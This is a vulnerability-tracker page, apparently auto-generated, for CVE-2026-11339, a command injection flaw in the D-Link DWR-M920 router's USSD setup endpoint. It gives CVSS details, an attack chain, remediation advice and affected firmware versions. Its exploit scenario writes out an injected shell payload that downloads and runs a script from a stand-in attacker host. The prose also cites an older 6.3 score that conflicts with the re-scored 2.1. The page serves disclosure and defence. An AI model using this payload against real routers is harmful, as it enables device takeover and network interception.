Skip to main content

D-Link DWR-M920 CVE-2026-11339

| EUVDEUVD-2026-34859 LOW
Command Injection (CWE-77)
2026-06-05 VulDB GHSA-p9xf-9grr-8jfx
2.1
CVSS 4.0 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain low-privilege router credentials via defaults or reuse
  2. Delivery
    Authenticate to DWR-M920 web management interface
  3. Exploit
    Send crafted POST to /boafrm/formUSSDSetup with malicious ussdValue
  4. Execution
    sub_41CF20 passes unsanitized input to system command
  5. Persist
    Arbitrary OS commands execute on router
  6. Impact
    Attacker achieves persistent access or network interception

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The target must be a D-Link DWR-M920 running firmware version 1.1.50 or earlier. The attacker must hold low-privilege authenticated access to the router's web management interface, confirmed by the CVSS PR:L indicator - this means any valid account credential suffices, including default username/password combinations commonly left unchanged on consumer routers. The /boafrm/formUSSDSetup USSD configuration endpoint must be reachable, which is the default state when the management interface is accessible. Exploitation is constrained by the authentication requirement: unauthenticated remote exploitation is not supported by the CVSS vector (PR:L, not PR:N). Scope is unchanged (S:U), meaning the attacker's command execution is confined to the router device itself rather than automatically pivoting to adjacent systems. The USSD feature does not need to be actively used - the endpoint merely needs to exist and be accessible, which it is in default firmware configurations.

Impact

The CVSS 6.3 medium score is underpinned by a meaningful set of risk signals: AV:N (network-reachable), AC:L (no special conditions), PR:L (low-privilege authentication required), UI:N (no user interaction), with all three impact dimensions at Low (C:L/I:L/A:L) and unchanged scope (S:U). The temporal modifier E:P (proof of concept exploit exists) is confirmed by the GitHub PoC, meaning the barrier to exploitation has dropped significantly since initial disclosure. The RC:R (reasonable confidence) modifier signals that vendor confirmation is still pending, introducing some uncertainty about the exact affected scope. No EPSS score was provided, limiting probabilistic exploitation forecasting - this is an explicit data gap. KEV status is not confirmed, so active exploitation cannot be asserted. The real-world risk is likely higher than the CVSS score alone conveys: consumer routers frequently retain default credentials, the USSD feature endpoint is accessible on the LAN-side management interface by default, and the PoC lowers the skill floor for exploitation. The scope limitation (S:U) means the attacker's foothold is bounded to the router itself - however, a compromised router provides network interception, DNS manipulation, and lateral movement opportunities that the raw impact scores do not capture.

Exploit ScenarioDerived

An attacker with low-privilege credentials on the D-Link DWR-M920 web interface - obtained via default credentials, credential stuffing, or prior reconnaissance - submits a crafted HTTP POST request to /boafrm/formUSSDSetup with the ussdValue parameter containing shell metacharacters such as ; wget http://attacker.com/shell.sh -O /tmp/s; sh /tmp/s. The sub_41CF20 function passes the unsanitized string directly into a system command, causing the injected payload to execute with the web server process's privileges on the router OS. The publicly available PoC at https://github.com/7u7777/Dlink/blob/DWR-M920/formUSSDSetup.md documents this exact technique, lowering the technical skill required for exploitation.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 05, 2026

Command injection in D-Link DWR-M920 firmware up to version 1.1.50 allows remote authenticated attackers to execute arbitrary OS commands via the ussdValue parameter of the /boafrm/formUSSDSetup endpoint, processed by the vulnerable sub_41CF20 function without input sanitization. The CVSS vector (AV:N/AC:L/PR:L/UI:N) confirms remote, low-complexity exploitation requiring only low-privilege credentials - a realistic threshold on consumer routers commonly deployed with default or weak passwords. A public proof-of-concept exploit is available on GitHub, materially elevating practical risk above what the moderate CVSS score of 6.3 suggests; no public exploit identified at time of analysis maps to confirmed active exploitation (not in CISA KEV).

RemediationAI

No vendor-released patch has been identified at time of analysis - the CVSS remediation level is undefined (RL:X) and no patched firmware version is referenced in any available source, including the D-Link vendor site (https://www.dlink.com/). Administrators should monitor D-Link's security advisories for firmware updates. As immediate compensating controls: restrict access to the router's web management interface so only explicitly trusted accounts can authenticate - removing or disabling any guest or default accounts eliminates the low-privilege credential vector (PR:L). If remote management is enabled, disable it and confine access to the local LAN segment, reducing the network attack surface (AV:N). Network-level access controls such as firewall rules blocking inbound access to the management port further limit exposure. Note that restricting management access may impact legitimate administrative workflows. VulDB tracking is available at https://vuldb.com/vuln/368881 and the PoC details are published at https://github.com/7u7777/Dlink/blob/DWR-M920/formUSSDSetup.md.

Affected VersionsENISA

DWR-M920 1.1.24
DWR-M920 1.1.20
DWR-M920 1.1.14
DWR-M920 1.1.23
DWR-M920 1.1.37
DWR-M920 1.1.16
DWR-M920 1.1.45
DWR-M920 1.1.6
DWR-M920 1.1.13
DWR-M920 1.1.32
DWR-M920 1.1.27
DWR-M920 1.1.3
DWR-M920 1.1.9
DWR-M920 1.1.8
DWR-M920 1.1.19
DWR-M920 1.1.46
DWR-M920 1.1.22
DWR-M920 1.1.29
DWR-M920 1.1.15
DWR-M920 1.1.17
DWR-M920 1.1.2
DWR-M920 1.1.47
DWR-M920 1.1.39
DWR-M920 1.1.1
DWR-M920 1.1.44
DWR-M920 1.1.33
DWR-M920 1.1.0
DWR-M920 1.1.34
DWR-M920 1.1.48
DWR-M920 1.1.35
DWR-M920 1.1.30
DWR-M920 1.1.28
DWR-M920 1.1.31
DWR-M920 1.1.38
DWR-M920 1.1.50
DWR-M920 1.1.4
DWR-M920 1.1.5
DWR-M920 1.1.21
DWR-M920 1.1.41
DWR-M920 1.1.43
DWR-M920 1.1.42
DWR-M920 1.1.11
DWR-M920 1.1.25
DWR-M920 1.1.40
DWR-M920 1.1.49
DWR-M920 1.1.36
DWR-M920 1.1.7
DWR-M920 1.1.10
DWR-M920 1.1.26
DWR-M920 1.1.12
DWR-M920 1.1.18

Affected Packages

euvd dwr_m920 no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The D-Link DWR-M920 is a consumer-grade mobile Wi-Fi router supporting USSD (Unstructured Supplementary Service Data), a GSM/mobile protocol used to communicate configuration commands to cellular carriers. The web management endpoint /boafrm/formUSSDSetup exposes USSD configuration to authenticated users, and the underlying C function sub_41CF20 constructs a system command incorporating the user-supplied ussdValue argument without neutralizing shell metacharacters. This is a classic CWE-77 (Improper Neutralization of Special Elements used in a Command) flaw - distinct from CWE-78 in that the injection occurs at the command construction layer rather than via OS shell invocation, though in practice the effect is equivalent: arbitrary command execution. The CPE cpe:2.3:a:d-link:dwr-m920:*:*:*:*:*:*:*:* with the wildcard version field indicates all tracked firmware versions through 1.1.50 are within scope. The BoaHTTP web server is the typical management interface for this class of D-Link device, and form handlers like boafrm are a known attack surface in embedded router firmware.

Know when Dwr M920 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Severity Changed
Jun 05, 2026 - 17:22 NVD
MEDIUM LOW
CVSS changed
Jun 05, 2026 - 17:22 NVD
6.3 (MEDIUM) 2.1 (LOW)

DescriptionCVE.org

A vulnerability was detected in D-Link DWR-M920 up to 1.1.50. The affected element is the function sub_41CF20 of the file /boafrm/formUSSDSetup. The manipulation of the argument ussdValue results in command injection. It is possible to launch the attack remotely. The exploit is now public and may be used.

Threat Intelligence Overview

EPSS Score
0.4%
Top 37% exploitable
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy